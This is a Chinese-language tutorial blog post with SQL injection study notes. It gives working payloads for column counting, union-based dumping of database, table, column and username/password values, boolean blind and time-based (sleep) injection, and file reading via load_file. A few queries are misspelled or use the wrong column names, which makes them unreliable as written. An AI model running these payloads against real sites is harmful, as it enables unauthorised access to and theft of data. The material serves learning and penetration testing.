SQL注入的流程及联合查询、布尔盲注、时间注入

SQL注入流程

挖掘漏洞的基本理念:输入一个信息,根据服务器返回的一个信息,进行分析,采取下一步的信息
1.利用?传播参数,查看返回结果
2.猜测闭合方式一般为' " ') ")猜测输入的闭合符是否有效是否影响了SQL语句的执行
3.输入\转义符可以判断闭合方式
4.判断表里面的字段数量可以采用函数order by 参数 按照第几列排序
select * from user where id="1" order by 1
select * from user where id="1" order by 2
select * from user where id="1" order by 3
如果服务器输出错误信息说明不存在该列,无法按照该列排序
一定要把前面的参数闭合再输入order by 参数(依据参数正向排列 order by 参数 desc依据参数倒序排列)
同时输入-- 注释掉后面的闭合符号
5.确定字段数量后,需要再次确定显示位


联合查询(有回显)

union函数:拼接两条查询语句
select * from users where id=1 union select * from users where id=2
1.union需要保持查询的字段数量一致
2.联合查询一般都是有回显的时候使用,users表有三个字段,需要在确定显示数量后确定显示位,需要使前面字段无法输出才能输出后面的显示位
select * from users where id=-1 union select 1,2,3 -- +
3.在显示位进行其他函数的操作
\version() #数据库版本 user() #数据库用户名 database()#数据库名称 @@datadir#数据库路径 @@version_compile_os#操作系统版本
通过联合查询数据库的名称

group_concat函数把输出值拼接为一条函数

爆库

select 1,group_concat(SCHEMA_NAME) ,3 from information_schema.SCHEMATA;

爆表

select 1,group_concat(TABLE_NAME) ,3 from information_schema.TABLES where SCHEMA_NAME='security';

爆字段

select 1,group_concat(CLOUMN_NAME) ,3 from information_schema.CLOUMNS where SCHEMA_NAME='security' and TABLE_NAME="users" ;

爆字段中的值

select group_concat("用户名",username,"密码",password,"<\br>") from 表名


布尔盲注(服务器只能返回真假两个信息)

如果联合查询没有返回信息的时候就需要采用盲注(可以采用sqlmap进行爆破)
SQL注入利用回显的真假,判断信息
1.判断闭合方式,输入判断语句
2.利用length()函数和database()函数判断数据库的名称长度,利用ASCII表和函数ascii()函数substr((),截取位数,截取个数)判断数据库的名称同时可以利用>与<二分法来进行猜测
?id=1 and (length(database())=8)两侧都为真返回真
?id=1 and (ascii(substr(database(),1,1))>65)
ascii码表 请点击此处查看
3.爆破表名
4.爆破字段名


时间盲注

在盲注的基础上利用if(条件,命令1,命令2)函数条件为真执行1,条件为假执行2
sleep(秒数)sleep函数增加响应时间
如果条件成功了可以使用增加响应函数
if((ascii(substr(database(),1,1))=115),sleep(5),1)


SQL注入的读写文件

load file("文件路径")可以结合有回显的进行

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值